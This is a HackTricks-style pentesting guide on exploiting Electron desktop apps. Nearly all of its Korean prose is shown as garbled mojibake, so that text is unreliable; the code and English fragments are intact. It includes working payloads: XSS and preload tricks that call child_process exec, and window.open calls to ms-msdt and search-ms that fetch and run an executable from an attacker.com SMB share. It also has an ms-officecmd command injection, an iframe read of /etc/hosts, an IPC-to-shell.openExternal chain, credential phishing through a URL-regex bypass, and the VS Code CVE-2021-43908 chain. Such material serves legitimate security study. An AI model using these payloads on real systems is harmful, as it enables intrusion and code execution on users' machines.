Electron ๋ฐ์คํฌํฑ ์ฑ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๊ฐ
Electron์ ๋ก์ปฌ ๋ฐฑ์๋(NodeJS)์ ํ๋ฐํธ์๋(Chromium)๋ฅผ ๊ฒฐํฉํ์ง๋ง, ์ต์ ๋ธ๋ผ์ฐ์ ์ ์ผ๋ถ ๋ณด์ ๋ฉ์ปค๋์ฆ์ ๋ถ์กฑํฉ๋๋ค.
๋ณดํต Electron ์ฑ ์ฝ๋๋ .asar ์ ํ๋ฆฌ์ผ์ด์
๋ด๋ถ์์ ๋ฐ๊ฒฌ๋๋ฉฐ, ์ฝ๋๋ฅผ ์ป๊ธฐ ์ํด ์ด๋ฅผ ์ถ์ถํด์ผ ํฉ๋๋ค:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electron ์ฑ์ ์์ค ์ฝ๋์์ packet.json ์์ ๋ณด๋ฉด ๋ณด์ ๊ตฌ์ฑ์ด ์ค์ ๋ main.js ํ์ผ์ด ์ง์ ๋์ด ์๋ ๊ฒ์ ์ฐพ์ ์ ์์ต๋๋ค.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron์๋ 2๊ฐ์ง ํ๋ก์ธ์ค ์ ํ์ด ์์ต๋๋ค:
- Main Process (NodeJS์ ์์ ํ ์ ๊ทผ ๊ถํ ๋ณด์ )
- Renderer Process (๋ณด์์์ ์ด์ ๋ก NodeJS ์ ๊ทผ์ ์ ํํด์ผ ํจ)
.png)
ํ๋์ renderer process๋ ํ์ผ์ ๋ก๋ํ๋ ๋ธ๋ผ์ฐ์ ์ฐฝ์ ๋๋ค:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
renderer process์ ์ค์ ์ main.js ํ์ผ ์์ main process์์ ๊ตฌ์ฑ๋ ์ ์์ต๋๋ค. ์ผ๋ถ ๊ตฌ์ฑ์ Electron ์ ํ๋ฆฌ์ผ์ด์ ์ด RCE๋ฅผ ์ป๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ผ๋ฉฐ, ์ด๋ ์ค์ ์ด ์ฌ๋ฐ๋ฅด๊ฒ ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ์ ํด๋นํฉ๋๋ค.
Electron ์ ํ๋ฆฌ์ผ์ด์ ์ Node apis๋ฅผ ํตํด ๋๋ฐ์ด์ค์ ์ ๊ทผํ ์ ์์ต๋๋ค, ๋ค๋ง ์ด๋ฅผ ๋ฐฉ์งํ๋๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค:
nodeIntegration- ๊ธฐ๋ณธ๊ฐ์off์ ๋๋ค.on์ด๋ฉด renderer process์์ node ๊ธฐ๋ฅ์ ์ ๊ทผํ ์ ์์ต๋๋ค.contextIsolation- ๊ธฐ๋ณธ๊ฐ์on์ ๋๋ค.off์ธ ๊ฒฝ์ฐ main๊ณผ renderer ํ๋ก์ธ์ค๊ฐ ๊ฒฉ๋ฆฌ๋์ง ์์ต๋๋ค.preload- ๊ธฐ๋ณธ๊ฐ์ ๋น์ด ์์ต๋๋ค.sandbox- ๊ธฐ๋ณธ๊ฐ์off์ ๋๋ค. NodeJS๊ฐ ์ํํ ์ ์๋ ์์ ์ ์ ํํฉ๋๋ค.- Workers์์์ Node Integration
nodeIntegrationInSubframes- ๊ธฐ๋ณธ๊ฐ์off์ ๋๋ค.- **
nodeIntegration**์ด ํ์ฑํ๋ ๊ฒฝ์ฐ, Electron ์ ํ๋ฆฌ์ผ์ด์ ๋ด์์ iframe์ ๋ก๋๋ ์น ํ์ด์ง์์ Node.js APIs๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. - **
nodeIntegration**์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ, preload๋ iframe ๋ด์์ ๋ก๋๋ฉ๋๋ค.
Example of configuration:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
๋ค์์ here์์ ๊ฐ์ ธ์จ ์ผ๋ถ RCE payloads:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
ํธ๋ํฝ ์บก์ฒ
start-main ๊ตฌ์ฑ์ ์์ ํ๊ณ ๋ค์๊ณผ ๊ฐ์ ํ๋ก์ ์ฌ์ฉ์ ์ถ๊ฐํ์ธ์:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
๋ก์ปฌ์์ Electron App์ ์คํํ ์ ์๋ค๋ฉด ์์์ javascript ์ฝ๋๋ฅผ ์คํํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ๋ค์์ ํ์ธํ์ธ์:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
If the nodeIntegration is set to on, a web pageโs JavaScript can use Node.js features easily just by calling the require(). ์๋ฅผ ๋ค์ด, Windows์์ calc ์ ํ๋ฆฌ์ผ์ด์
์ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
์ด ์ค์ ์ ์ง์ ๋ ์คํฌ๋ฆฝํธ๋ loaded before other scripts in the renderer, ๋ฐ๋ผ์ unlimited access to Node APIs๋ฅผ ๊ฐ์ง๋๋ค:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
๋ฐ๋ผ์ ์คํฌ๋ฆฝํธ๋ node-features๋ฅผ ํ์ด์ง๋ก ๋ด๋ณด๋ผ ์ ์์ต๋๋ค:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > ๋ง์ฝ
contextIsolation์ด ์ผ์ ธ ์์ผ๋ฉด, ์๋ํ์ง ์์ต๋๋ค
RCE: XSS + contextIsolation
_contextIsolation_๋ ์น ํ์ด์ง ์คํฌ๋ฆฝํธ์ JavaScript Electron์ ๋ด๋ถ ์ฝ๋ ์ฌ์ด์ ๋ถ๋ฆฌ๋ ์ปจํ ์คํธ๋ฅผ ๋์ ํ์ฌ ๊ฐ ์ฝ๋์ JavaScript ์คํ์ด ์๋ก ์ํฅ์ ์ฃผ์ง ์๋๋ก ํฉ๋๋ค. ์ด๋ RCE ๊ฐ๋ฅ์ฑ์ ์ ๊ฑฐํ๊ธฐ ์ํ ํ์ ๊ธฐ๋ฅ์ ๋๋ค.
๋ง์ฝ ์ปจํ ์คํธ๊ฐ ๋ถ๋ฆฌ๋์ง ์์๋ค๋ฉด ๊ณต๊ฒฉ์๋:
- renderer์์ ์์์ JavaScript๋ฅผ ์คํ (XSS ๋๋ ์ธ๋ถ ์ฌ์ดํธ๋ก์ ์ด๋)
- preload ๋๋ Electron ๋ด๋ถ ์ฝ๋์์ ์ฌ์ฉ๋๋ ๋ด์ฅ ๋ฉ์๋๋ฅผ ๋ฎ์ด์จ์ ์์ ์ ํจ์๋ก ๋ฐ๊พธ๊ธฐ
- ๋ฎ์ด์ด ํจ์์ ์ฌ์ฉ์ ์ ๋ฐ(Trigger)
- RCE?
๋ด์ฅ ๋ฉ์๋๋ฅผ ๋ฎ์ด์ธ ์ ์๋ ๊ณณ์ 2๊ณณ์ด ์์ต๋๋ค: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
ํด๋ฆญ ์ด๋ฒคํธ ์ฐํ
๋งํฌ๋ฅผ ํด๋ฆญํ ๋ ์ ํ์ด ์ ์ฉ๋์ด ์๋ค๋ฉด ์ผ๋ฐ์ ์ธ ์ผ์ชฝ ํด๋ฆญ ๋์ ์ค๊ฐ ํด๋ฆญ์ผ๋ก ์ฐํํ ์ ์์ต๋๋ค
window.addEventListener('click', (e) => {
RCE via shell.openExternal
์ด ์์ ๋ค์ ๋ํ ์์ธํ ๋ด์ฉ์ https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ๋ฐ https://benjamin-altpeter.de/shell-openexternal-dangers/์ ํ์ธํ์ธ์.
Electron ๋ฐ์คํฌํฑ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฐฐํฌํ ๋ nodeIntegration๊ณผ contextIsolation ์ค์ ์ ์ฌ๋ฐ๋ฅด๊ฒ ๊ตฌ์ฑํ๋ ๊ฒ์ ๋งค์ฐ ์ค์ํฉ๋๋ค. ์ด๋ฌํ ์ค์ ์ด ์ ์ฉ๋์ด ์์ผ๋ฉด ๋ฉ์ธ ํ๋ก์ธ์ค์์ preload ์คํฌ๋ฆฝํธ๋ Electron์ ๋ค์ดํฐ๋ธ ์ฝ๋๋ฅผ ๋์์ผ๋ก ํ๋ **client-side remote code execution (RCE)**๊ฐ ํจ๊ณผ์ ์ผ๋ก ๋ฐฉ์ง๋๋ค๊ณ ์๋ ค์ ธ ์์ต๋๋ค.
์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํ๊ฑฐ๋ ์ ์ฐฝ์ ์ด๋ฉด ํน์ ์ด๋ฒคํธ ๋ฆฌ์ค๋๊ฐ ํธ๋ฆฌ๊ฑฐ๋๋ฉฐ, ์ด๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณด์๊ณผ ๊ธฐ๋ฅ์ ์ค์ํฉ๋๋ค:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
์ด ๋ฆฌ์ค๋๋ค์ ๋ฐ์คํฌํฑ ์ ํ๋ฆฌ์ผ์ด์
์ ์ํด ์ฌ์ ์๋์ด ์์ฒด ๋น์ฆ๋์ค ๋ก์ง์ ๊ตฌํํ๋ค. ์ ํ๋ฆฌ์ผ์ด์
์ ํ์๋ ๋งํฌ๋ฅผ ๋ด๋ถ์์ ์ด์ง ์ธ๋ถ ์น ๋ธ๋ผ์ฐ์ ์์ ์ด์ง ์ฌ๋ถ๋ฅผ ํ๋จํ๋ค. ์ด ๊ฒฐ์ ์ ์ผ๋ฐ์ ์ผ๋ก openInternally ํจ์๋ฅผ ํตํด ์ด๋ฃจ์ด์ง๋ค. ์ด ํจ์๊ฐ false๋ฅผ ๋ฐํํ๋ฉด, ํด๋น ๋งํฌ๋ ์ธ๋ถ์์ ์ด๋ ค์ผ ํ๋ฉฐ shell.openExternal ํจ์๋ฅผ ์ฌ์ฉํ๋ค๋ ์๋ฏธ๋ค.
๋ค์์ ๋จ์ํ๋ ์์ฌ์ฝ๋์ ๋๋ค:
.png)
.png)
Electron JS ๋ณด์ ๊ถ์ฅ์ฌํญ์ openExternal ํจ์๋ฅผ ํตํด ์ ๋ขฐํ ์ ์๋ ์ฝํ
์ธ ๋ฅผ ์์ฉํ์ง ๋ง ๊ฒ์ ๊ถ๊ณ ํ๋ค. ์ด๋ ๋ค์ํ ํ๋กํ ์ฝ์ ํตํด RCE๋ก ์ด์ด์ง ์ ์๊ธฐ ๋๋ฌธ์ด๋ค. ์ด์์ฒด์ ๋ RCE๋ฅผ ์ ๋ฐํ ์ ์๋ ์๋ก ๋ค๋ฅธ ํ๋กํ ์ฝ๋ค์ ์ง์ํ๋ค. ์ด ์ฃผ์ ์ ๋ํ ์์ธํ ์์์ ์ถ๊ฐ ์ค๋ช
์ this resource๋ฅผ ์ฐธ์กฐํ ์ ์์ผ๋ฉฐ, ํด๋น ์๋ฃ์๋ ์ด ์ทจ์ฝ์ ์ ์
์ฉํ ์ ์๋ Windows ํ๋กํ ์ฝ ์์๊ฐ ํฌํจ๋์ด ์๋ค.
macos์์๋ openExternal ํจ์๊ฐ ์์์ ๋ช
๋ น์ ์คํํ๋๋ก ์
์ฉ๋ ์ ์์ผ๋ฉฐ, ์๋ฅผ ๋ค์ด shell.openExternal('file:///System/Applications/Calculator.app') ๊ฐ์ ๋ฐฉ์์ด ์๋ค.
Windows ํ๋กํ ์ฝ ์ต์คํ๋ก์์ ์์๋ ๋ค์๊ณผ ๊ฐ๋ค:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + ์ทจ์ฝํ preload IPC + shell.openExternal
์ด ์ทจ์ฝ์ ์ **this report**์์ ํ์ธํ ์ ์์ต๋๋ค.
The webviewTag is a ์ฌ์ฉ ์ค๋จ๋ ๊ธฐ๋ฅ that allows the use of NodeJS in the renderer process, which should be disabled as it allows to load a script inside the preload ์ปจํ ์คํธ like:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
๋ฐ๋ผ์ ์์์ ํ์ด์ง๋ฅผ ๋ก๋ํ๋ ๋ฐ ์ฑ๊ณตํ ๊ณต๊ฒฉ์๋ ํด๋น ํ๊ทธ๋ฅผ ์ฌ์ฉํด ์์์ preload script๋ฅผ ๋ก๋ํ ์ ์์ต๋๋ค.
์ด preload script๋ ์ดํ **vulnerable IPC service (skype-new-window)**๋ฅผ ํธ์ถํ๋๋ก ์
์ฉ๋์๊ณ , ํด๋น ์๋น์ค๋ **shell.openExternal**์ ํธ์ถํ์ฌ RCE๋ฅผ ์ ๋ฐํ์ต๋๋ค:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
๋ด๋ถ ํ์ผ ์ฝ๊ธฐ: XSS + contextIsolation
contextIsolation์ ๋นํ์ฑํํ๋ฉด <webview> ํ๊ทธ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค, <iframe>๊ณผ ์ ์ฌํ๊ฒ ๋ก์ปฌ ํ์ผ์ ์ฝ๊ณ exfiltrateํ ์ ์์ต๋๋ค. ์ ๊ณต๋ ์์๋ ์ด ์ทจ์ฝ์ ์ ์
์ฉํ์ฌ ๋ด๋ถ ํ์ผ์ ๋ด์ฉ์ ์ฝ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค:
.png)
๋ํ, ๋ด๋ถ ํ์ผ ์ฝ๊ธฐ์ ๋ํ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ๊ณต์ ๋์ด Electron ๋ฐ์คํฌํฑ ์ฑ์ ์ฌ๊ฐํ ๋ก์ปฌ ํ์ผ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ๊ฐ์กฐํฉ๋๋ค. ์ฌ๊ธฐ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ์ฉํ๊ธฐ ์ํด ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์ ํ๊ณ ๋ฐ์ดํฐ๋ฅผ exfiltrateํ๋ ๊ณผ์ ์ด ํฌํจ๋ฉ๋๋ค:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + ์ค๋๋ chromium
์ ํ๋ฆฌ์ผ์ด์
์์ ์ฌ์ฉํ๋ chromium ์ด old ์ด๊ณ ์ฌ๊ธฐ์ known vulnerabilities ๊ฐ ์กด์ฌํ๋ฉด, exploit it and obtain RCE through a XSS ํ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
You can see an example in this writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
๋ง์ฝ XSS ๋ฅผ ๋ฐ๊ฒฌํ์ง๋ง cannot trigger RCE or steal internal files ๊ฒฝ์ฐ, ๊ทธ๊ฒ์ ์ด์ฉํด steal credentials via phishing ์ ์๋ํด๋ณผ ์ ์์ต๋๋ค.
์ฐ์ ์ URL ์ ์ด๋ ค๊ณ ์๋ํ ๋ ์ด๋ค ์ผ์ด ์ผ์ด๋๋์ง ์์์ผ ํฉ๋๋ค. front-end ์ JS ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
The call to openInternally will decide if the link will be opened in the desktop window as itโs a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.
ํจ์์ ์ฌ์ฉ๋ regex๊ฐ vulnerable to bypassesํ ๊ฒฝ์ฐ(์: not escaping the dots of subdomains) ๊ณต๊ฒฉ์๋ XSS๋ฅผ ์ ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ธํ๋ผ์ ์์นํ open a new window which๋ฅผ ์ด๊ณ ์ฌ์ฉ์์๊ฒ ์๊ฒฉ์ฆ๋ช ์ ์๊ตฌํ๋ asking for credentials ํ์๋ฅผ ํ ์ ์์ต๋๋ค:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file:// ํ๋กํ ์ฝ
As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a ์ฌ์ฉ์ ์ ์ ํ๋กํ ์ฝ prevents issues like this as you can limit the protocol to only serving a specific set of files.
Remote module
The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the applicationโs attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
Tip
๋น๋ก remote ๋ชจ๋์ด main์์ renderer ํ๋ก์ธ์ค๋ก ์ผ๋ถ API๋ฅผ ๋ ธ์ถ์ํค์ง๋ง, ๊ตฌ์ฑ ์์๋ง ์ ์ฉํด์ ๊ณง๋ฐ๋ก RCE๋ฅผ ์ป๋ ๊ฒ์ ๊ฐ๋จํ์ง ์์ต๋๋ค. ๋ค๋ง ๊ตฌ์ฑ ์์๊ฐ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ๋ ธ์ถํ ์๋ ์์ต๋๋ค.
Warning
์ฌ์ ํ remote ๋ชจ๋์ ์ฌ์ฉํ๋ ๋ง์ ์ฑ์ renderer ํ๋ก์ธ์ค์์ NodeIntegration์ ํ์ฑํํด์ผ ํ๋ ๋ฐฉ์์ผ๋ก ๊ตฌํ๋์ด ์๋๋ฐ, ์ด๋ ๊ฑฐ๋ํ ๋ณด์ ์ํ์ ๋๋ค.
Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons itโs recommended to not use it.
์ด๋ฅผ ํ์ฑํํ๋ ค๋ฉด ๋จผ์ main process์์ ํ์ฑํํด์ผ ํฉ๋๋ค:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
๊ทธ๋ฐ ๋ค์, ๋ ๋๋ฌ ํ๋ก์ธ์ค๋ ๋ชจ๋์์ ๊ฐ์ฒด๋ฅผ ๋ค์๊ณผ ๊ฐ์ด importํ ์ ์์ต๋๋ค:
import { dialog, getCurrentWindow } from '@electron/remote'
ํด๋น **blog post**๋ remote ๋ชจ๋์ ๊ฐ์ฒด **app**์ด ๋
ธ์ถํ๋ ๋ช ๊ฐ์ง ํฅ๋ฏธ๋ก์ด ํจ์๋ฅผ ์ค๋ช
ํฉ๋๋ค:
app.relaunch([options])- ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์์ํฉ๋๋ค: ํ์ฌ ์ธ์คํด์ค๋ฅผ ์ข ๋ฃํ๊ณ ์ ์ธ์คํด์ค๋ฅผ ์คํํฉ๋๋ค. ์ฑ ์ ๋ฐ์ดํธ๋ ์ค์ํ ์ํ ๋ณ๊ฒฝ์ ์ ์ฉํฉ๋๋ค.
app.setAppLogsPath([path])- ์ฑ ๋ก๊ทธ๋ฅผ ์ ์ฅํ ๋๋ ํฐ๋ฆฌ๋ฅผ ์ ์ํ๊ฑฐ๋ ์์ฑํฉ๋๋ค. ๋ก๊ทธ๋
app.getPath()๋๋ **app.setPath(pathName, newPath)**๋ฅผ ์ฌ์ฉํด ์กฐํํ๊ฑฐ๋ ์์ ํ ์ ์์ต๋๋ค. app.setAsDefaultProtocolClient(protocol[, path, args])- ํ์ฌ ์คํํ์ผ์ ์ง์ ํ ํ๋กํ ์ฝ์ ๊ธฐ๋ณธ ํธ๋ค๋ฌ๋ก ๋ฑ๋กํฉ๋๋ค. ํ์ํ๋ฉด ์ฌ์ฉ์ ์ง์ ๊ฒฝ๋ก์ ์ธ์๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค.
app.setUserTasks(tasks)- Windows์ Jump List ๋ด Tasks ์นดํ ๊ณ ๋ฆฌ์ ์์ ์ ์ถ๊ฐํฉ๋๋ค. ๊ฐ ์์ ์ ์ฑ์ด ์คํ๋๋ ๋ฐฉ์์ด๋ ์ ๋ฌ๋๋ ์ธ์๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค.
app.importCertificate(options, callback)- PKCS#12 ์ธ์ฆ์๋ฅผ ์์คํ ์ ์ธ์ฆ์ ์ ์ฅ์์ ๊ฐ์ ธ์ค๊ธฐํฉ๋๋ค (Linux ์ ์ฉ). ๊ฒฐ๊ณผ ์ฒ๋ฆฌ๋ฅผ ์ํด callback์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
app.moveToApplicationsFolder([options])- ์ ํ๋ฆฌ์ผ์ด์ ์ Applications ํด๋๋ก ์ด๋ํฉ๋๋ค (macOS). Mac ์ฌ์ฉ์๋ฅผ ์ํ ํ์ค ์ค์น๋ฅผ ๋ณด์ฅํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
app.setJumpList(categories)- Windows์์ ์ฌ์ฉ์ ์ง์ Jump List๋ฅผ ์ค์ ํ๊ฑฐ๋ ์ ๊ฑฐํฉ๋๋ค. ์์ ์ด ์ฌ์ฉ์์๊ฒ ์ด๋ป๊ฒ ํ์๋ ์ง ์ ๋ฆฌํ๋ ค๋ฉด ์นดํ ๊ณ ๋ฆฌ๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค.
app.setLoginItemSettings(settings)- ๋ก๊ทธ์ธ ์ ์คํ๋๋ ์คํ ํ์ผ๊ณผ ํด๋น ์ต์ ์ ๊ตฌ์ฑํฉ๋๋ค (macOS ๋ฐ Windows ์ ์ฉ).
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences ๋ชจ๋
Electron์์ ์์คํ ํ๊ฒฝ์ค์ ์ ์ ๊ทผํ๊ณ ์์คํ ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํค๋ ์ฃผ์ API์ ๋๋ค. subscribeNotification, subscribeWorkspaceNotification, getUserDefault, ๊ทธ๋ฆฌ๊ณ setUserDefault ๊ฐ์ ๋ฉ์๋๋ค์ ๋ชจ๋ ์ด ๋ชจ๋์ ์ผ๋ถ์ ๋๋ค.
์์ ์ฌ์ฉ๋ฒ:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- ์์ : NSDistributedNotificationCenter๋ฅผ ์ฌ์ฉํด macOS ๋ค์ดํฐ๋ธ ์๋ฆผ์ ์์ ํฉ๋๋ค.
- macOS Catalina ์ด์ ์๋ CFNotificationCenterAddObserver์ nil์ ์ ๋ฌํ์ฌ all ๋ถ์ฐ ์๋ฆผ์ ์ค๋ํํ ์ ์์์ต๋๋ค.
- Catalina / Big Sur ์ดํ์๋ ์๋๋ฐ์ค๋ ์ฑ๋ ์ด๋ฆ์ผ๋ก ์๋ฆผ์ ๋ฑ๋กํจ์ผ๋ก์จ (์: screen locks/unlocks, volume mounts, network activity ๋ฑ) ์ฌ์ ํ ๋ง์ ์ด๋ฒคํธ๋ฅผ subscribeํ ์ ์์ต๋๋ค.
getUserDefault / setUserDefault
-
NSUserDefaults์ ์ธํฐํ์ด์คํ๋ฉฐ, macOS์์ application ๋๋ global ํ๊ฒฝ์ค์ ์ ์ ์ฅํฉ๋๋ค.
-
getUserDefault๋ recent file locations๋ userโs geographic location์ ๊ฐ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ retrieveํ ์ ์์ต๋๋ค.
-
setUserDefault๋ ์ด๋ฌํ ํ๊ฒฝ์ค์ ์ modifyํ์ฌ ์ฑ์ configuration์ ์ํฅ์ ์ค ์ ์์ต๋๋ค.
-
older Electron versions(v8.3.0 ์ด์ )์์๋ NSUserDefaults์ standard suite๋ง accessibleํ์ต๋๋ค.
Shell.showItemInFolder
This function shows the given file in a file manager, which could automatically execute the file.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron ์ฑ์ **Content Security Policy (CSP)**๋ฅผ ๊ฐ์ ธ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์งํด์ผ ํฉ๋๋ค. CSP๋ ๋ธ๋ผ์ฐ์ ์์ untrusted code์ execution์ preventํ๋ ๋ฐ ๋์์ด ๋๋ security standard์ ๋๋ค.
๋ณดํต main.js ํ์ผ์ด๋ index.html ํ
ํ๋ฆฟ์ meta tag ์์ CSP๋ฅผ configuredํฉ๋๋ค.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included
style-src 'self' 'unsafe-inline', allowing inline/style-based injection in avscode-webview://context. The payload beaconed to/stealIDto exfiltrate the target webviewโs extensionId. - Constructing target webview URL: Using the leaked ID to build
vscode-webview://<extensionId>/.../<publicUrl>. - Second XSS via postMessage trust: The outer webview trusted
window.postMessagewithout strict origin/type checks and loaded attacker HTML withallowScripts: true. - Local file loading via scheme/path rewriting: The payload rewrote
file:///...tovscode-file://vscode-app/...and swappedexploit.mdforRCE.html, abusing weak path validation to load a privileged local resource. - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
